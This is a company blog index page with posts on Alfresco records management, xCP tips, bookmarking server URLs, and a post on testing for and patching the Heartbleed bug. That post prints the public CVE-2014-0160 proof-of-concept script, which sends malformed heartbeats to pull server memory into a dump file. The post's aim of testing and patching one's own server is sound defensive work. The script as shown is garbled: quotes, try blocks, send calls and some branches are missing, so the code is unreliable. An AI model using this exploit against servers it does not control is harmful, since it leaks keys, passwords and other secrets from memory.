Enterprise Content Management

Armedia Blog

VIDEO – How to use Alfresco’s Un-filed Record Features

July 23rd, 2015 by Deja Nichols

In this video, Armedia Records Management specialist, Deja Nichols, will walk you through the Un-filed Record features within Alfresco Record Management.

Interested in learning more about how Armedia can help you with Alfresco Record Management? Contact us today to learn how we can help!

VIDEO – How to Create a Rule within Alfresco

July 21st, 2015 by Deja Nichols

In today’s video blog, Deja Nichols will walk you through how to create a rule within Alfrecso.

Alfresco Records Management – Creating a Disposition Schedule

July 16th, 2015 by Deja Nichols

In today’s video blog, Armedia’s Records Management specialist, Deja Nichols, will show you how to create a disposition schedule in Alfresco Records Management.


Stay tuned for more videos!

Alfresco Records Management – An Overview

July 15th, 2015 by Deja Nichols

In this video, Armedia’s Records Management expert, Deja Nichols, gives you an overview of the Alfresco Records Management Module.

Stay tuned for more from our Alfresco Records Management video blog series!

Why We Do What We Do

July 14th, 2015 by Scott Roth

I was introduced to this short Ted Talk by Simon Sinek recently.  It really resonated with me. I think it speaks to the heart (you’ll understand that statement better after watching the video) of what Armedia does and why I am a part of it.

In the video, Simon Sinek discusses how people/organizations/companies who speak from the “why” of what they do before getting to the “how” and “what” of what they do are more effective in their communication.  I could — and do — tell people:

“Armedia is a CMMI3 software development and integration company specializing in content management.  We hire the best and the brightest employees and exceed our customers’ expectations in quality and design.”

However, using Simon Sinek’s technique, I should start by telling you:

“Armedia is a family of multi-discipline professionals who are naturally curious and passionate about technology — especially as it relates to content management.  We endeavor to push technology and its application too the limit to develop solutions for customers that we believe in and are proud of.  We achieve this by carefully hiring employees that share this passion and are eager to share it both within the company and with customers.  Many of our employees are so passionate about the technology that they have achieved industry certifications (e.g., Alfresco, Documentum, SharePoint, PMP, CMMI, etc.).  Though we are a general systems integrator, our niche is certainly content management.”

This type of approach paints a different kind of picture of our company and workplace.  It also hints at our core values, which guide all of our decisions and conduct.  I believe that the “why” of what we do is intimately tied to the “who” of what we are, as described by our core values.

So, the next time you have to give an introduction or an elevator speech, start with the “why” and see if you don’t get a better response from your audience.  And, if my description of the Armedia family and the “why” we are interests you, check out our job postings.

VIDEO – How to Manually Declare a Record within Alfresco

July 9th, 2015 by Allison Cotney

Recently our team has been asked several questions about how to best utilize Alfresco Records Management for their various government and business needs. In response to that, our in-house Records Management specialist, Deja Nichols, will be posting a series of tutorial blogs that will show various ways to utilize Alfresco’s records management features.

For today’s video, Deja will be illustrating how to manually declare a record within Alfresco.

Stay tuned for more videos!

Managing Site URLs

July 8th, 2015 by Scott Roth

A few years ago I started a project with a new customer. When I was granted access to their DEV, QA, and PROD environments I was given a bookmark file that contained all of the URLs I would need to manage and administer their systems (for example: DA, Webtop, and various D2 applications). Generally, these URLs are not too hard to remember, but there are subtle differences in their construction across the three environments (e.g., port numbers and host names). This list also contained some not-so-easy to remember URLs like the xPlore Index Agent and the DFS WSDL location. I was impressed; this simple bookmark file saved me a lot of time not having to compile it myself. But I wanted more….

This bookmark file saved me time when I needed access to a web application, but it didn’t help with ssh, scp, or rdp access to the servers. For those protocols I needed to use putty, WinSCP, and mstsc (Remote Desktop Connection) respectively, which meant I had essentially four lists of host names\URLs per environment — that’s 12 lists with over a hundred hosts and URLS! I’m sure there are dozens of solutions to this problem — some probably even contain password management, but here is my simple, bare-bones solution to this problem, in an environment where I had limited Desktop control.

I created a simple Word document (see Image 1) that contained tables with all the application URLs and host names I needed to access. I then saved this document as a ‘Web Page, Filtered’ HTML document to my Desktop. I opened the HTML file in my browser, and made it my default homepage (see Image 2). Now I have instant access to these URLs and hosts from either the browser or the Desktop.

Creating URLs for the web applications (e.g., Webtop, DA) was simple. Creating links for the ssh, scp, and rdp host names required a little trickery. Somehow I needed to associate the ssh://, scp://, and rdp:// protocols with their respective clients (putty, WinSCP, and mstsc). Fortunately, JJ Clements had already figured this out and published two very clever little batch files that solved the problem nicely (rdp and ssh/scp). [My only caveat with using these batch files is that you may need to alter them slightly depending upon where you installed putty and WinSCP, and whether you can write to your C:\Windows directory.]


url_wordImage 1 – Word document url_htmlImage 2 – HTML document


Now I have one place from which I can access all of the applications and hosts I need to manage. I created one document for each environment (DEV, QA, and PROD) and linked them together. (This allows me to fit all of the links on a single page without having to scroll.) Since a Word document is the storage location for all the URLs and hosts, it can easily be updated and shared among project teams.

This article was originally posted on dm_misc blog.

VIDEO: Knowledge Sharing 2015 – EMC Interview with Scott Roth

June 22nd, 2015 by Allison Cotney

Scott Roth, Armedia Director of Technology and Documentum expert, recently conducted an interview with EMC about his whitepaper “A Language Translation Service for Documentum.”

This Whitepaper was written for the EMC Proven Professionals Knowledge Sharing Program. Today, we want to share his interview with you!

To keep up with Roth’s work, visit his website.

Email us to learn more about our Documentum services.

Test for and Patch the Heartbleed Bug

May 14th, 2015 by Paul Combs

OpenSSL versions 1.0.1 through 1.0.1f (inclusive) are compromised with a vulnerability that makes it possible to steal information. Patched versions of the OpenSSL may have be back ported so the “built on” date newer or equal to April 2014 should be a good indicator if OpenSSL has been patched.

openssl version -b

While the Linux system may be patched, third party application stacks may not be. In this example, an installation of an older version, 5.4.14-0, of a Bitnami LAMP Stack, was vulnerable and required patching.   Bitnami issued a patch for their products, but  it wasn’t completely clear to me which Bitnami products the patch would be applicable. However, the bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run, turns out to be the solution to patch the vulnerable OpenSSL within this version of the Bitnami LAMP Stack.

Test for the Heartbleed bug

How to determine if the Heartbleed bug exits?  There are a couple of detection methods that are available on the Internet. One that proved to be popular, inconclusive, and provide false-positives was with this following command.

echo quit | openssl s_client -connect localhost:443 -tlsextdebug 2>&1|grep 'server extension "heartbeat" (id=15)' || echo safe
TLS server extension "heartbeat" (id=15), len=1

The command when issued with an incorrect value or where OpenSSL was not implemented within the application would under certain conditions provide a false-positive.

A better method for testing is through the use of a python script.  The script.


# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
import smtplib

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')

def h2bin(x):
	return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01

hbv10 = h2bin('''
18 03 01 00 03
01 40 00

hbv11 = h2bin('''
18 03 02 00 03
01 40 00

hbv12 = h2bin('''
18 03 03 00 03
01 40 00

def hexdump(s, dumpf, quiet):
	dump = open(dumpf,'a')
	if quiet: return
	for b in xrange(0, len(s), 16):
		lin = [c for c in s[b : b + 16]]
		hxdat = ' '.join('%02X' % ord(c) for c in lin)
		pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
		print '  %04x: %-48s %s' % (b, hxdat, pdat)

def recvall(s, length, timeout=5):
	endtime = time.time() + timeout
	rdata = ''
	remain = length
	while remain > 0:
		rtime = endtime - time.time()
		if rtime < 0:
			if not rdata:
				return None
				return rdata
		r, w, e = select.select([s], [], [], 5)
		if s in r:
			data = s.recv(remain)
			# EOF?
			if not data:
				return None
			rdata += data
			remain -= len(data)
	return rdata

def recvmsg(s):
	hdr = recvall(s, 5)
	if hdr is None:
		print 'Unexpected EOF receiving record header - server closed connection'
		return None, None, None
	typ, ver, ln = struct.unpack('>BHH', hdr)
	pay = recvall(s, ln, 10)
	if pay is None:
		print 'Unexpected EOF receiving record payload - server closed connection'
		return None, None, None
	print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
	return typ, ver, pay

def hit_hb(s, dumpf, host, quiet):
	while True:
		typ, ver, pay = recvmsg(s)
		if typ is None:
			print 'No heartbeat response received from '+host+', server likely not vulnerable'
			return False

		if typ == 24:
			if not quiet: print 'Received heartbeat response:'
			hexdump(pay, dumpf, quiet)
			if len(pay) > 3:
				print 'WARNING: server '+ host +' returned more data than it should - server is vulnerable!'
				print 'Server '+host+' processed malformed heartbeat, but did not return any extra data.'
			return True

		if typ == 21:
			if not quiet: print 'Received alert:'
			hexdump(pay, dumpf, quiet)
			print 'Server '+ host +' returned error, likely not vulnerable'
			return False

def connect(host, port, quiet):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	if not quiet: print 'Connecting...'
	s.connect((host, port))
	return s

def tls(s, quiet):
	if not quiet: print 'Sending Client Hello...'
	if not quiet: print 'Waiting for Server Hello...'

def parseresp(s):
	while True:
		typ, ver, pay = recvmsg(s)
		if typ == None:
			print 'Server closed connection without sending Server Hello.'
			return 0
		# Look for server hello done message.
		if typ == 22 and ord(pay[0]) == 0x0E:
			return ver

def check(host, port, dumpf, quiet, starttls):
	response = False
	if starttls:
			s = smtplib.SMTP(host=host,port=port)
		except smtplib.SMTPException:
			print 'STARTTLS not supported...'
			return False
		print 'STARTTLS supported...'
		s = connect(host, port, quiet)
			re = s.recv(1024)
			s.send('ehlo starttlstest\r\n')
			re = s.recv(1024)
			re = s.recv(1024)
		except socket.timeout:
			print 'Timeout issues, going ahead anyway, but it is probably broken ...'
		s = connect(host, port, quiet)

	version = parseresp(s)

	if version == 0:
		if not quiet: print "Got an error while parsing the response, bailing ..."
		return False
		version = version - 0x0300
		if not quiet: print "Server TLS version was 1.%d\n" % version

	if not quiet: print 'Sending heartbeat request...'
	if (version == 1):
		response = hit_hb(s,dumpf, host, quiet)
	if (version == 2):
		response = hit_hb(s,dumpf, host, quiet)
	if (version == 3):
		response = hit_hb(s,dumpf, host, quiet)
	return response

def main():
	opts, args = options.parse_args()
	if len(args) < 1:

	print 'Scanning ' + args[0] + ' on port ' + str(opts.port)
	for i in xrange(0,opts.num):
		check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)

if __name__ == '__main__':


Prior to executing the python script, make sure that the Apache server is running, one way to do this is with the following command.

netstat -ntlpn | grep httpd

To run add option -p for the appropriate port number to test, defaults to 443. And add a -q to display a more condensed response to the test. To really see the impact of the Heartbleed bug, run this command without the -q option to see verbose output.

./ht.py bitnami.example.com -p 443 -q
Scanning bitnami.example.com on port 443
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 449
 ... received message: type = 22, ver = 0302, length = 203
 ... received message: type = 22, ver = 0302, length = 4
 ... received message: type = 24, ver = 0302, length = 16384
WARNING: server bitnami.example.com returned more data than it should - server is vulnerable!

Fix the Bitnami LAMP Stack

Probably for good measure stop the Apache service.  Though tests without stopping the Apache service were successful in applying the patch and running the python script indicated that the patch had succeeded. The service may not have to be restarted. Though may be a good thing to do.  Pending upon level of impact of the service restart. If you haven’t already downloaded the 32-bit or 64-bit version of the bitnami-opensslfixer-1.0.1g-1, here are steps to do so.

# 64-bit
wget http://downloads.bitnami.com/files/download/opensslfixer/bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run
chmod +x ./bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run

wget http://downloads.bitnami.com/files/download/opensslfixer/bitnami-opensslfixer-1.0.1g-1-linux-installer.run
chmod +x ./bitnami-opensslfixer-1.0.1g-1-linux-installer.run

Discover the available options by running the –help extension.

./bitnami-opensslfixer-1.01g-1-linux-x64-installer.run --help

Run the patch in unattended mode, which likely starts the service upon completion!

./bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run --mode unattended --prefix /opt/lamp-5.4.14-0
Detected vulnerable OpenSSL version, preparing to patch it...
./bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run --mode unattended --prefix /opt/lamp-5.4.14-0
Your OpenSSL version seems to be safe

You can also run the patch in normal mode and answer a few prompted questions.


Start the Apache service if it is not already running and run the python script again.  Note that the echo command used to determine OpenSSL will show evidence that the bug remains, so has proven ineffective.  The python script should result with a favorable response.

./ht.py bitnami.example.com -p 443 -q
Scanning bitnami.example.com on port 443
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 449
 ... received message: type = 22, ver = 0302, length = 203
 ... received message: type = 22, ver = 0302, length = 4
Unexpected EOF receiving record header - server closed connection
No heartbeat response received from bitnami.example.com, server likely not vulnerable

What files are patched?



10 Tips for Working with xCP

April 9th, 2015 by Lee Grayson


Currently I am finishing up an EMC xCP project, and I would like to leave behind some tips I have had to discover the hard way. Hopefully this will save you some time during your xCP project.

Tip #1 – Have well defined Use Cases

I know it is usually a requirement for all projects, but for xCP you really need to know what the user experience is going to be before jumping into xCP configurations. Spend extra time on the planning, and you may keep yourself from having to undo/modify a lot of configurations.

Tip #2 – xCP is not Webtop or D2!

This has been the biggest issue thus far with the current project. The experience the users desired was not process oriented; rather they wanted a CMS front-end. For well-defined business processes, xCP works as expected. In fact we have a separate xCP project that is going well because it is process oriented. Trying to make a full featured CMS front-end using xCP, however, will reveal what will be many future enhancements for xCP. If you are simply looking for a CMS front-end, and you have limited time to get the job done, consider EMC’s other alternatives like Webtop or D2.

Armedia, in being a vendor neutral company, has also used Generis CARA to fit our client’s needs. CARA is a third party CMS front-end/business rules engine that integrates with Documentum, Oracle WebCenter, and Alfresco. So consider your alternatives carefully based on your use cases (hint rule#1), and your requirements.

Tip #3 – Make certain your Object Model definitions are complete before configuration begins.

You will save yourself a lot of aggravation if your model is set in stone. xCP does a great job helping you out upon page creation, however any time after creation modification of the model will require manual changes or recreation of pages. By the time you have created your custom pages you will not want to change your model. (You can change the model of course. You’ll simply wish you didn’t have to.)

Tip #4 – Work on the Import fragments before any other pages or fragments.

The Import Fragment page is called by the ‘Default Import Document’ Action Flow. If you happen to research the ‘Default Import Document’ Action Flow, you will see it looks for a fragment with a name ending in ‘_imp’. The Import Fragment of an object type will contain most, if not all, of your business logic for creating a document type. Once this page is complete, it can be duplicated for the ‘Default Import New Version’ Action Flow.

Tip #5 – There is a difference between, and need for, ‘_imp’ and ‘_chk’ pages.

I thought it would be a good idea to change the ‘Default Import New Version’ Action flow to use the ‘_imp’ pages instead of the ‘_chk’ pages. As soon as I did this I started to realize the ‘Import New Version’ really needed different business logic on the pages. When you perform an import your model is empty so you don’t have to deal with business rules until the user enters data. When you import a new version, your model and associated fields will contain prepopulated data. This, for me, required thinking about some of the events that are triggered. These events, of course, tended to conflict with the ones I had in place. So I had to go back and use the ‘_chk’ pages as intended. They were still duplicates of the ‘_imp’, but with minor changes as compared to making complex rule changes to the ‘_imp’ page.

Tip #6 – Take advantage of custom UI Events

With xCP 2.1, you can create custom UI Events. The additions of the events have been helpful. In my instance, I created a custom UI Event to keep track of the validation rules and populate a message to the users. For every show/focus/change event I published a custom UI Event called ‘Required Field Change’. The event contained a message string and a field name string. By having this Event published, and triggered, I could populate a value display field with the event’s message.

Tip #7 – Use the Process Debugger before pulling your hair out.

When you start working with processes, and you will, make certain your process is running properly before trying to launch it from a page. Here the developers of xCP provided a very nice debugging tool that allowing you to test the process without the need to deploy and call it from a page. By using this tool you ensure issues you encounter along the way are not blamed on the process itself.

Tip #8 – Use a hidden “Debug” column box to track complex validation rules.

I was given this tip, and I will share it with you. Like most Input screens, your business rules will require some complex validations. In order to track these rules I setup a “Debug” column box, which I keep hidden based on roles. Within the “Debug” box, I have a series of value display fields all set as a Boolean field. Each of these value display fields contains a rule by which I validate a particular field by. I then have one overall value display field that is set to true once all of the other boxes are set to true. These value display fields also helped me drive the ‘Required Field Change’ event in tip #6. As long as the display value fields were false then the warning message remained visible to let the user know what was wrong with the input given.

Tip #9 – Don’t start deleting the buttons xCP gives you.

When creating a new View/Edit/Import Page or Fragment, xCP will setup an array of buttons you may or may not desire the users to have access to. Instead of deleting the button, however, simply set the ‘Hidden’ attribute to ‘true’. You may find the button a pain to rebuild later if you decide you needed it. Once everything is working like you want it, and you want to improve performance/size, then you can consider removing the button. (However, a button and process definition on a page really isn’t doing anything to hinder performance, and doesn’t take up much space. Check to see if the process is triggered ‘On Load’ so it doesn’t execute unnecessarily, but that is all you need for performance.)

Tip #10 – Be willing to use Plug-Ins.

Remember, xCP is first a framework to build a custom Documentum Web Application with. Therefore the core functionality within xCP is basic. You will find yourself writing custom widgets to perform a particular task or you can look into the list of plugins to help solve a particular problem for you. The plugins found on EMC’s support site have many features already created that you may be looking for.

Copyright © 2002–2011, Armedia. All Rights Reserved.